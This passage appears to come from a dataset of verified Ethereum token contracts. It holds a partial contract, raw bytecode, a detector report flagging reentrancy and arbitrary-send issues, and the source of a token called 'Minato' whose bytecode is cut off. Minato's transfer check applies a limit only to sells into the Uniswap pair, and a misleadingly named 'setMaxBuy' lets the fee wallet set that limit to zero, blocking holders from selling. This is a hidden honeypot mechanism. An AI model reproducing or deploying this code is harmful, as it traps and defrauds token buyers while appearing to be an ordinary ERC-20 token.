CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610385578063c3c8cd80146103a5578063c9567bf9146103ba578063db92dbb6146103cf578063dd62ed3e146103e4578063e8078d941461042a57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610346578063a985ceef1461036657600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601d81527f536d75726620546f6b656e207c20742e6d652f736d757266746f6b656e00000060208201525b6040516101949190611bfb565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b53565b61043f565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b13565b610456565b34801561021f57600080fd5b506101e56104bf565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb6565b6104cf565b005b34801561027257600080fd5b50610264610281366004611b7e565b610578565b34801561029257600080fd5b506101e56102a1366004611aa3565b6105f7565b3480156102b257600080fd5b5061026461061a565b3480156102c757600080fd5b506101e56102d6366004611aa3565b610647565b3480156102e757600080fd5b50610264610669565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b5060408051808201909152600581526429a6aaa92360d91b6020820152610187565b34801561035257600080fd5b506101bd610361366004611b53565b6106dd565b34801561037257600080fd5b50601454600160a81b900460ff166101bd565b34801561039157600080fd5b506101e56103a0366004611aa3565b6106ea565b3480156103b157600080fd5b50610264610710565b3480156103c657600080fd5b50610264610746565b3480156103db57600080fd5b506101e5610793565b3480156103f057600080fd5b506101e56103ff366004611adb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043657600080fd5b506102646107ab565b600061044c338484610b5e565b5060015b92915050565b6000610463848484610c82565b6104b584336104b085604051806060016040528060288152602001611dd4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611225565b610b5e565b5060019392505050565b60006104ca30610647565b905090565b6011546001600160a01b0316336001600160a01b0316146104ef57600080fd5b6033811061053c5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161053390611c4e565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056d565b6001600160a01b0381166000908152600660205260408120546104509042611d3e565b6011546001600160a01b0316336001600160a01b03161461063a57600080fd5b476106448161125f565b50565b6001600160a01b038116600090815260026020526040812054610450906112e4565b6000546001600160a01b031633146106935760405162461bcd60e51b815260040161053390611c4e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044c338484610c82565b6001600160a01b0381166000908152600660205260408120600101546104509042611d3e565b6011546001600160a01b0316336001600160a01b03161461073057600080fd5b600061073b30610647565b905061064481611368565b6000546001600160a01b031633146107705760405162461bcd60e51b815260040161053390611c4e565b6014805460ff60a01b1916600160a01b17905561078e426078611cf3565b601555565b6014546000906104ca906001600160a01b0316610647565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161053390611c4e565b601454600160a01b900460ff161561082f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610533565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086c3082683635c9adc5dea00000610b5e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a557600080fd5b505afa1580156108b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611abf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092557600080fd5b505afa158015610939573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095d9190611abf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dd9190611abf565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0d81610647565b600080610a226000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8557600080fd5b505af1158015610a99573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610abe9190611bce565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2257600080fd5b505af1158015610b36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5a9190611b9a565b5050565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610533565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610533565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610533565b6001600160a01b038216610d485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610533565b60008111610daa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610533565b6000546001600160a01b03848116911614801590610dd657506000546001600160a01b03838116911614155b156111c857601454600160a81b900460ff1615610e56573360009081526006602052604090206002015460ff16610e5657604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8157506013546001600160a01b03838116911614155b8015610ea657506001600160a01b03821660009081526005602052604090205460ff16155b1561100a57601454600160a01b900460ff16610f045760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610533565b60066009556004600a55601454600160a81b900460ff1615610fd057426015541115610fd057601054811115610f3957600080fd5b6001600160a01b0382166000908152600660205260409020544211610fab5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610533565b610fb642602d611cf3565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100a57610fed42600f611cf3565b6001600160a01b0383166000908152600660205260409020600101555b600061101530610647565b601454909150600160b01b900460ff1615801561104057506014546001600160a01b03858116911614155b80156110555750601454600160a01b900460ff165b156111c657601454600160a81b900460ff16156110e2576001600160a01b03841660009081526006602052604090206001015442116110e25760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610533565b601454600160b81b900460ff161561114757600061110b600c548461150d90919063ffffffff16565b60145490915061113a9061113390859061112d906001600160a01b0316610647565b9061158c565b82906115eb565b90506111458161162d565b505b80156111b457600b5460145461117d916064916111779190611171906001600160a01b0316610647565b9061150d565b906115eb565b8111156111ab57600b546014546111a8916064916111779190611171906001600160a01b0316610647565b90505b6111b481611368565b4780156111c4576111c44761125f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120a57506001600160a01b03831660009081526005602052604090205460ff165b15611213575060005b61121f8484848461169b565b50505050565b600081848411156112495760405162461bcd60e51b81526004016105339190611bfb565b5060006112568486611d3e565b95945050505050565b6011546001600160a01b03166108fc6112798360026115eb565b6040518115909202916000818181858888f193505050501580156112a1573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112bc8360026115eb565b6040518115909202916000818181858888f19350505050158015610b5a573d6000803e3d6000fd5b600060075482111561134b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610533565b60006113556116c9565b905061136183826115eb565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141257600080fd5b505afa158015611426573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144a9190611abf565b8160018151811061146b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114919130911684610b5e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ca908590600090869030904290600401611c83565b600060405180830381600087803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151c57506000610450565b60006115288385611d1f565b9050826115358583611d0b565b146113615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610533565b6000806115998385611cf3565b9050838110156113615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610533565b600061136183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ec565b600a8082101561163f5750600a611653565b602882111561165057506028611653565b50805b61165e81600261171a565b15611671578061166d81611d55565b9150505b611681600a61117783600661150d565b600955611694600a61117783600461150d565b600a555050565b806116a8576116a861175c565b6116b384848461178a565b8061121f5761121f600e54600955600f54600a55565b60008060006116d6611881565b90925090506116e582826115eb565b9250505090565b6000818361170d5760405162461bcd60e51b81526004016105339190611bfb565b5060006112568486611d0b565b600061136183836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c3565b60095415801561176c5750600a54155b1561177357565b60098054600e55600a8054600f5560009182905555565b60008060008060008061179c876118f7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117ce9087611954565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117fd908661158c565b6001600160a01b03891660009081526002602052604090205561181f81611996565b61182984836119e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189d82826115eb565b8210156118ba57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118e45760405162461bcd60e51b81526004016105339190611bfb565b506118ef8385611d70565b949350505050565b60008060008060008060008060006119148a600954600a54611a04565b92509250925060006119246116c9565b905060008060006119378e878787611a53565b919e509c509a509598509396509194505050505091939550919395565b600061136183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611225565b60006119a06116c9565b905060006119ae838361150d565b306000908152600260205260409020549091506119cb908261158c565b30600090815260026020526040902055505050565b6007546119ed9083611954565b6007556008546119fd908261158c565b6008555050565b6000808080611a186064611177898961150d565b90506000611a2b60646111778a8961150d565b90506000611a4382611a3d8b86611954565b90611954565b9992985090965090945050505050565b6000808080611a62888661150d565b90506000611a70888761150d565b90506000611a7e888861150d565b90506000611a9082611a3d8686611954565b939b939a50919850919650505050505050565b600060208284031215611ab4578081fd5b813561136181611db0565b600060208284031215611ad0578081fd5b815161136181611db0565b60008060408385031215611aed578081fd5b8235611af881611db0565b91506020830135611b0881611db0565b809150509250929050565b600080600060608486031215611b27578081fd5b8335611b3281611db0565b92506020840135611b4281611db0565b929592945050506040919091013590565b60008060408385031215611b65578182fd5b8235611b7081611db0565b946020939093013593505050565b600060208284031215611b8f578081fd5b813561136181611dc5565b600060208284031215611bab578081fd5b815161136181611dc5565b600060208284031215611bc7578081fd5b5035919050565b600080600060608486031215611be2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c2757858101830151858201604001528201611c0b565b81811115611c385783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cd25784516001600160a01b031683529383019391830191600101611cad565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0657611d06611d84565b500190565b600082611d1a57611d1a611d9a565b500490565b6000816000190483118215151615611d3957611d39611d84565b500290565b600082821015611d5057611d50611d84565b500390565b6000600019821415611d6957611d69611d84565b5060010190565b600082611d7f57611d7f611d9a565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461064457600080fd5b801515811461064457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071a0b67f17bb77745979727da582a115caebd6b998d275c99093dd8c2fb0e4a164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,888
0x868c57D19fd3662fd8dBe3dEbd04d97b86C26d34
//SPDX-License-Identifier: MIT // Telegram: t.me/MinatoToken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Minato is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Minato"; string private constant _symbol = "MINATO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == uniswapV2Pair && from != address(uniswapV2Router) )?1:0)*amount <= _maxTxAmount); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_feeAddrWallet1 == _msgSender() ); _; } function setMaxBuy(uint256 limit) external overridden { _maxTxAmount = limit; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a919061245b565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061201e565b6103c2565b6040516101579190612440565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906125bd565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611fcb565b6103f0565b6040516101bf9190612440565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea9190612632565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611f31565b61054c565b60405161023e91906125bd565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b6040516102809190612372565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab919061245b565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d6919061201e565b610756565b6040516102e89190612440565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611f8b565b610cb4565b60405161033c91906125bd565b60405180910390f35b34801561035157600080fd5b5061035a610d3b565b005b34801561036857600080fd5b50610383600480360381019061037e919061208b565b610dad565b005b60606040518060400160405280600681526020017f4d696e61746f0000000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e18565b8484610e20565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610feb565b6104be84610409610e18565b6104b985604051806060016040528060288152602001612c0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144f9092919063ffffffff16565b610e20565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e18565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816114b3565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b565b9050919050565b6105a5610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106299061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d494e41544f0000000000000000000000000000000000000000000000000000815250905090565b600061076a610763610e18565b8484610feb565b6001905092915050565b61077c610e18565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108009061251d565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108509061259d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610e20565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611f5e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611f5e565b6040518363ffffffff1660e01b8152600401610a1d92919061238d565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611f5e565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b25969594939291906123df565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b7791906120b8565b5050506001600d60166101000a81548160ff02191690831515021790555067016345785d8a0000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5e9291906123b6565b602060405180830381600087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb0919061205e565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7c610e18565b73ffffffffffffffffffffffffffffffffffffffff1614610d9c57600080fd5b6000479050610daa816117a9565b50565b610db5610e18565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0e57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffff